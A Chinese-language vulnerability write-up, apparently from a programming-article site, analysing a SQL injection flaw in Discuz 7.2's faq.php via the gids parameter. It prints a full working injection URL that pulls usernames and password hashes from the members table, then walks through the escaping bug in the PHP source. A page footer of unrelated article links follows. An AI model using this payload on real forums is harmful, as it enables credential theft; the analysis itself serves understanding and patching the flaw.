Discuz7.2版的faq.php SQL注入漏洞分析


Posted in PHP onAugust 06, 2014

注入代码实例:

https://3water.com/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x20,password) from cdb_members limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

漏洞分析: by phithon

($action == 'grouppermission') {
...

        ksort($gids);

        $groupids = array();

        foreach($gids as $row) {

                $groupids[] = $row[0];

        }
        $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");

...

}

function implodeids($array) {

        if(!empty($array)) {

                return "'".implode("','", is_array($array) ? $array : array($array))."'";

        } else {

                return '';

        }

}

首先定义一个数组groupids,然后遍历$gids(这也是个数组,就是$_GET[gids]),将数组中的所有值的第一位取出来放在groupids中。

为什么这个操作就造成了注入?

discuz在全局会对GET数组进行addslashes转义,也就是说会将'转义成\',所以,如果我们的传入的参数是:gids[1]='的话,会被转义成$gids[1]=\',而这个赋值语句$groupids[] = $row[0]就相当于取了字符串的第一个字符,也就是\,把转义符号取出来了。

再看后面,在将数据放入sql语句前,他用implodeids处理了一遍。我们看到implodeids函数

很简单一个函数,就是将刚才的$groupids数组用','分割开,组成一个类似于'1','2','3','4'的字符串返回。

但是我们的数组刚取出来一个转义符,它会将这里一个正常的'转义掉,比如这样:
'1','\','3','4'
有没有看出有点不同,第4个单引号被转义了,也就是说第5个单引号和第3个单引号闭合。

PHP 相关文章推荐
PHP不用第三变量交换2个变量的值的解决方法
Jun 02 PHP
PHP 通过Socket收发十六进制数据的实现代码
Aug 16 PHP
兼容PHP和Java的des加密解密代码分享
Jun 26 PHP
封装ThinkPHP的一个文件上传方法实例
Oct 31 PHP
phpstorm编辑器乱码问题解决
Dec 01 PHP
php读取torrent种子文件内容的方法(测试可用)
May 03 PHP
PHP数组生成XML格式数据的封装类实例
Nov 10 PHP
php判断是否为ajax请求的方法
Nov 29 PHP
thinkPHP模板中函数的使用方法示例
Nov 30 PHP
PHP自动补全表单的两种方法
Mar 06 PHP
PHP+MySQL实现输入页码跳转到指定页面功能示例
Jun 01 PHP
如何判断微信付款码和支付宝付款码
Apr 01 PHP
PHP中的reflection反射机制测试例子
Aug 05 #PHP
PHP的反射类ReflectionClass、ReflectionMethod使用实例
Aug 05 #PHP
实例介绍PHP的Reflection反射机制
Aug 05 #PHP
PHP中读取文件的8种方法和代码实例
Aug 05 #PHP
PHP中Fatal error session_start()错误解决步骤
Aug 05 #PHP
PHP学习笔记(二) 了解PHP的基本语法以及目录结构
Aug 04 #PHP
PHP学习笔记(一) 简单了解PHP
Aug 04 #PHP
You might like
使用Composer安装Yii框架的方法
2016/03/15 PHP
Laravel框架路由管理简单示例
2019/05/07 PHP
取选中的radio的值
2010/01/11 Javascript
深入理解JavaScript系列(16) 闭包(Closures)
2012/04/12 Javascript
用JQuery在网页中实现分隔条功能的代码
2012/08/09 Javascript
onbeforeunload与onunload事件异同点总结
2013/06/24 Javascript
javascript动态向网页中添加表格实现代码
2014/02/19 Javascript
ActiveX控件与Javascript之间的交互示例
2014/06/04 Javascript
js中的如何定位固定层的位置
2014/06/15 Javascript
浅谈下拉菜单中的Option对象
2015/05/10 Javascript
究竟什么是Node.js?Node.js有什么好处?
2015/05/29 Javascript
JS实现slide文字框缩放伸展效果代码
2015/11/05 Javascript
原生js实现数字字母混合验证码的简单实例
2015/12/10 Javascript
jquery实现全屏滚动
2015/12/28 Javascript
关于Iframe父页面与子页面之间的相互调用
2016/11/22 Javascript
使用openSpeDiv方法实现Ecshop登录弹窗框效果
2017/03/13 Javascript
vue.js 1.x与2.0中js实时监听input值的变化
2017/03/15 Javascript
详解小程序原生使用ES7 async/await语法
2018/08/06 Javascript
Vue加载组件、动态加载组件的几种方式
2018/08/31 Javascript
JS Thunk 函数的含义和用法实例总结
2020/04/08 Javascript
ant design中upload组件上传大文件,显示进度条进度的实例
2020/10/29 Javascript
快速查询Python文档方法分享
2017/12/27 Python
浅谈django三种缓存模式的使用及注意点
2018/09/30 Python
Python设计模式之代理模式实例详解
2019/01/19 Python
python使用flask与js进行前后台交互的例子
2019/07/19 Python
python-Web-flask-视图内容和模板知识点西宁街
2019/08/23 Python
Python基础教程(一)——Windows搭建开发Python开发环境
2020/07/20 Python
css3的@media属性实现页面响应式布局示例代码
2014/02/10 HTML / CSS
The North Face官方旗舰店:美国著名户外品牌
2020/09/28 全球购物
10条PHP编程习惯
2014/05/26 面试题
打架检讨书2000字
2014/02/22 职场文书
公益广告宣传方案
2014/02/28 职场文书
依法行政工作汇报材料
2014/10/28 职场文书
毕业欢送会致辞
2015/07/29 职场文书
让人瞬间清醒的句子,句句经典,字字如金
2019/07/08 职场文书
Python下载商品数据并连接数据库且保存数据
2022/03/31 Python